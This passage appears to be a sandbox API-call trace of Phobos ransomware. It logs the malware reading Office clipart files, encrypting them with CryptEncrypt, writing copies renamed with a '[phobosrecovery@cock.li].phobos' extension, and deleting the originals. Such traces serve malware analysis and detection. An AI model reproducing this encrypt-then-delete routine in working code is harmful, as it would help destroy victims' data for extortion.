Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0166.545] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d1890) returned 1 [0166.545] CryptSetKeyParam (hKey=0x1d1890, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0166.545] ReadFile (in: hFile=0x2c4, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0xed4, lpOverlapped=0x0) returned 1 [0166.583] CryptEncrypt (in: hKey=0x1d1890, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0xee0, dwBufLen=0xee0 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0xee0) returned 1 [0166.583] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xee0, lpOverlapped=0x0) returned 1 [0166.584] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d18d0) returned 1 [0166.584] CryptSetKeyParam (hKey=0x1d18d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0166.584] CryptEncrypt (in: hKey=0x1d18d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0166.584] CryptDestroyKey (hKey=0x1d18d0) returned 1 [0166.584] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0166.584] CryptDestroyKey (hKey=0x1d1890) returned 1 [0166.584] CloseHandle (hObject=0x2c4) returned 1 [0166.584] CloseHandle (hObject=0x2e0) returned 1 [0166.584] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf")) returned 1 [0166.586] SetEvent (hEvent=0x298) returned 1 [0166.586] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0166.586] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0166.586] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=2024) returned 1 [0166.586] CloseHandle (hObject=0x2e0) returned 1 [0166.586] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf")) returned 0x220 [0166.586] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0166.587] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0166.587] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0166.587] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0166.587] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0166.588] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d1a50) returned 1 [0166.588] CryptSetKeyParam (hKey=0x1d1a50, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0166.588] ReadFile (in: hFile=0x2e0, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x7e8, lpOverlapped=0x0) returned 1 [0166.654] CryptEncrypt (in: hKey=0x1d1a50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x7f0, dwBufLen=0x7f0 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x7f0) returned 1 [0166.654] WriteFile (in: hFile=0x2c4, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x7f0, lpOverlapped=0x0) returned 1 [0166.656] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d19d0) returned 1 [0166.657] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0166.657] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0166.657] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0166.657] WriteFile (in: hFile=0x2c4, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0166.657] CryptDestroyKey (hKey=0x1d1a50) returned 1 [0166.657] CloseHandle (hObject=0x2e0) returned 1 [0166.657] CloseHandle (hObject=0x2c4) returned 1 [0166.657] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf")) returned 1 [0166.659] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0166.659] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0166.659] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=1448) returned 1 [0166.659] CloseHandle (hObject=0x2c4) returned 1 [0166.659] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf")) returned 0x220 [0166.659] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0166.659] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0166.660] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0166.660] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0166.660] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0166.660] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d1410) returned 1 [0166.660] CryptSetKeyParam (hKey=0x1d1410, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0166.660] ReadFile (in: hFile=0x2c4, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x5a8, lpOverlapped=0x0) returned 1 [0166.688] CryptEncrypt (in: hKey=0x1d1410, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x5b0) returned 1 [0166.688] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x5b0, lpOverlapped=0x0) returned 1 [0166.693] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d1850) returned 1 [0166.693] CryptSetKeyParam (hKey=0x1d1850, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0166.693] CryptEncrypt (in: hKey=0x1d1850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0166.693] CryptDestroyKey (hKey=0x1d1850) returned 1 [0166.693] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0166.694] CryptDestroyKey (hKey=0x1d1410) returned 1 [0166.694] CloseHandle (hObject=0x2c4) returned 1 [0166.694] CloseHandle (hObject=0x2e0) returned 1 [0166.694] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf")) returned 1 [0166.696] SetEvent (hEvent=0x298) returned 1 [0166.696] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0166.696] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0166.696] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=2296) returned 1 [0166.697] CloseHandle (hObject=0x2e0) returned 1 [0166.697] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf")) returned 0x220 [0166.697] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0166.697] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0166.697] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0166.698] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0166.698] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0166.699] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d1ad0) returned 1 [0166.699] CryptSetKeyParam (hKey=0x1d1ad0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0166.699] ReadFile (in: hFile=0x2e0, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x8f8, lpOverlapped=0x0) returned 1 [0166.736] CryptEncrypt (in: hKey=0x1d1ad0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x900, dwBufLen=0x900 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x900) returned 1 [0166.736] WriteFile (in: hFile=0x2c4, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x900, lpOverlapped=0x0) returned 1 [0166.737] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d19d0) returned 1 [0166.737] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0166.737] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0166.737] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0166.737] WriteFile (in: hFile=0x2c4, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0166.737] CryptDestroyKey (hKey=0x1d1ad0) returned 1 [0166.737] CloseHandle (hObject=0x2e0) returned 1 [0166.737] CloseHandle (hObject=0x2c4) returned 1 [0166.737] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf")) returned 1 [0166.739] SetEvent (hEvent=0x298) returned 1 [0166.739] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0166.739] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0166.740] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=1768) returned 1 [0166.750] CloseHandle (hObject=0x2c4) returned 1 [0166.751] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf")) returned 0x220 [0166.751] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0166.751] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0166.751] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0166.752] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0166.752] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0166.753] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d1a50) returned 1 [0166.753] CryptSetKeyParam (hKey=0x1d1a50, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0166.753] ReadFile (in: hFile=0x2c4, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x6e8, lpOverlapped=0x0) returned 1 [0166.780] CryptEncrypt (in: hKey=0x1d1a50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x6f0, dwBufLen=0x6f0 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x6f0) returned 1 [0166.780] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x6f0, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x6f0, lpOverlapped=0x0) returned 1 [0166.781] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d1a90) returned 1 [0166.781] CryptSetKeyParam (hKey=0x1d1a90, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0166.781] CryptEncrypt (in: hKey=0x1d1a90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0166.781] CryptDestroyKey (hKey=0x1d1a90) returned 1 [0166.781] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0166.781] CryptDestroyKey (hKey=0x1d1a50) returned 1 [0166.781] CloseHandle (hObject=0x2c4) returned 1 [0166.781] CloseHandle (hObject=0x2e0) returned 1 [0166.782] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf")) returned 1 [0166.783] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0166.783] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0166.784] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=2524) returned 1 [0166.784] CloseHandle (hObject=0x2e0) returned 1 [0166.784] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf")) returned 0x220 [0166.784] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0166.784] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0166.785] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0166.785] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0166.785] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0166.785] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d1610) returned 1 [0166.785] CryptSetKeyParam (hKey=0x1d1610, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0166.785] ReadFile (in: hFile=0x2e0, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x9dc, lpOverlapped=0x0) returned 1 [0166.887] CryptEncrypt (in: hKey=0x1d1610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x9e0, dwBufLen=0x9e0 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x9e0) returned 1 [0166.887] WriteFile (in: hFile=0x2c4, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x9e0, lpOverlapped=0x0) returned 1 [0166.888] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d1810) returned 1 [0166.888] CryptSetKeyParam (hKey=0x1d1810, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0166.889] CryptEncrypt (in: hKey=0x1d1810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0166.889] CryptDestroyKey (hKey=0x1d1810) returned 1 [0166.889] WriteFile (in: hFile=0x2c4, lpBuffer=0x31ed020*, 